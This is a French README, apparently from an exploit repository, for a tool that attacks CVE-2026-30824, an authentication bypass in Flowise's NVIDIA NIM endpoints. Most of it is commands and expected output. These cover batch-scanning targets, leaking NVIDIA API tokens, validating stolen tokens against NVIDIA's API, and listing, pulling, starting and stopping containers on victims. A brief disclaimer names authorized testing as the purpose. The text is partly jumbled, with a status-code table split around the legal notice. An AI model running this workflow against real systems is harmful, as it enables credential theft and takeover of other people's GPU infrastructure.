
Un exploit de preuve de concept pour **CVE-2026-30824**, une vulnérabilité critique de contournement d'authentification dans Flowise qui expose les points de terminaison de l'API NVIDIA NIM sans authentification.
Un vérificateur et exploit de preuve de concept pour CVE-2026-30824, une vulnérabilité critique de contournement d'authentification dans Flowise qui expose les points de terminaison de l'API NVIDIA NIM sans authentification.
CVE-2026-30824 est un contournement d'authentification critique dans Flowise (< 3.0.13) qui permet à des attaquants distants non authentifiés d'accéder aux points de terminaison de gestion des conteneurs NVIDIA NIM et de génération de jetons API.
| Champ | Valeur |
|---|---|
| Score CVSS | 9,8 (Critique) |
| CWE | CWE-306 : Authentification manquante pour une fonction critique |
| Versions affectées | Flowise < 3.0.13 |
| Impact | Gestion complète des conteneurs, accès GPU, vol de jetons |
Le chemin /api/v1/nvidia-nim/* est sur la liste blanche du middleware d'authentification global, permettant un accès non authentifié à :
✅ Détection de vulnérabilité — Vérification rapide si la cible est vulnérable
✅ Extraction de jetons — Fuite des jetons API NVIDIA depuis les points de terminaison vulnérables
✅ Validation de jetons — Vérification des jetons auprès de l'API NVIDIA (démonstration du rayon d'impact)
✅ Énumération des conteneurs — Liste des conteneurs NIM en cours d'exécution
✅ Analyse par lots — Analyse de plusieurs cibles à partir d'un fichier
✅ Contournement SSL — Ignore les certificats auto-signés par défaut
✅ Sortie colorée — Indicateurs d'état faciles à lire (vert/jaune/rouge)
✅ Reconnaissance — Cartographie complète des points de terminaison et diagnostics
requests# Clonez ou téléchargez le script
git clone <repository>
cd cve-2026-30824
# Installez les dépendances
pip install -r requirements.txt
# ou
pip install requests
# Vérifiez si une seule cible est vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Sortie attendue (VULNÉRABLE) :
# [+] La cible semble VULNÉRABLE (HTTP 200)
# Réponse : {...}
# Créez targets.txt avec une URL par ligne
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Analysez toutes les cibles (mode rapide, sans invites)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Résumé attendu :
# ============================================================
# [*] Résumé de l'analyse
# ============================================================
# [+] VULNÉRABLE : 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] CORRIGÉ : 1
# ✗ http://192.168.1.102:3000
# Fuite du jeton API NVIDIA depuis le point de terminaison vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Sortie attendue :
# [*] Tentative de fuite du jeton API NVIDIA...
# [+] Jeton API NVIDIA : eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Type de jeton : Bearer
# [+] Expire dans : 3600s
# Vérifiez qu'un jeton fuité fonctionne avec la véritable API NVIDIA
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Sortie attendue :
# [*] Validation du jeton auprès de l'API NVIDIA...
# [+] Jeton VALIDE ! Accès à 45 modèles NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Énumérez les conteneurs sur la cible
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Sortie attendue :
# [*] Liste des conteneurs en cours d'exécution...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Exécutez toutes les vérifications de reconnaissance sur la cible vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Arguments facultatifs :
-h, --help Affiche ce message d'aide et quitte
-t, --target TARGET URL cible (par ex., http://192.168.1.100:3000)
-f, --targets-file FILE Fichier contenant la liste des cibles (une par ligne)
Détection de vulnérabilité :
--check Vérifie uniquement si la cible est vulnérable
--scan-only Analyse les cibles pour détecter la vulnérabilité sans invites
--debug Affiche les détails des requêtes et les réponses brutes
Exploitation :
--get-token Fuit le jeton API NVIDIA
--validate-token TOKEN Valide le jeton fuité auprès de l'API NVIDIA
--list-containers Liste les conteneurs NIM en cours d'exécution
--get-container CONTAINER_ID Obtient les détails du conteneur
--get-image IMAGE_ID Obtient les détails de l'image
--pull-image IMAGE_TAG Télécharge une image Docker (par ex., nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Démarre un conteneur à partir d'une balise d'image
--container-name NAME Nom du conteneur démarré
--stop-container CONTAINER_ID Arrête un conteneur en cours d'exécution
--preload Déclenche le point de terminaison de préchargement des ressources
--all Exécute toutes les vérifications de reconnaissance
Avancé :
--timeout SECONDS Délai d'expiration des requêtes en secondes (défaut : 15)
# 1. Analysez tout le sous-réseau pour trouver des instances vulnérables
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Pour chaque cible vulnérable, extrayez le jeton
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Validez l'impact du jeton
python3 CVE-2026-30824.py --validate-token "<jeton-extrait>"
# Vérifiez la vulnérabilité et démontrez le rayon d'impact complet
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Cela va :
# 1. Vérifier la vulnérabilité
# 2. Extraire le jeton API NVIDIA
# 3. Valider le jeton auprès de l'API NVIDIA
# 4. Lister les conteneurs en cours d'exécution
# 5. Afficher l'énumération des ressources
# Surveillez une cible périodiquement (via cron ou un planificateur)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Signification |
|---|---|
| 200 | ✅ Vulnérable (point de terminaison accessible) |
| 400 |
Problème : Le point de terminaison renvoie une page HTML au lieu d'une réponse API JSON.
Solutions :
Problème : Impossible d'atteindre la cible.
Solutions :
# Testez la connectivité
curl -v http://192.168.1.100:3000/
# Augmentez le délai d'expiration
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
Problème : La cible utilise un certificat auto-signé ou expiré.
Solution : Le script désactive la vérification SSL par défaut. Si les problèmes persistent :
# Ajoutez explicitement le port et le protocole
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
Problème : Jeton extrait mais la validation auprès de l'API NVIDIA échoue.
Causes :
⚠️ AVIS LÉGAL
Si vous découvrez cette vulnérabilité dans la nature :
Immédiat :
À long terme :
/api/v1/nvidia-nim/*Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. Voir le fichier LICENSE pour plus de détails.
Cet exploit est fourni « tel quel » sans garantie. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.
Créé pour les tests d'intrusion autorisés et la recherche en sécurité.
Dernière mise à jour : avril 2026
| ✅ Vulnérable (erreur d'application mais le point de terminaison existe) |
| 401 | 🟡 Corrigé (authentification requise) |
| 404 | 🟡 Pas Flowise ou le point de terminaison n'existe pas |
| 5xx | 🔴 Erreur serveur/mauvaise configuration |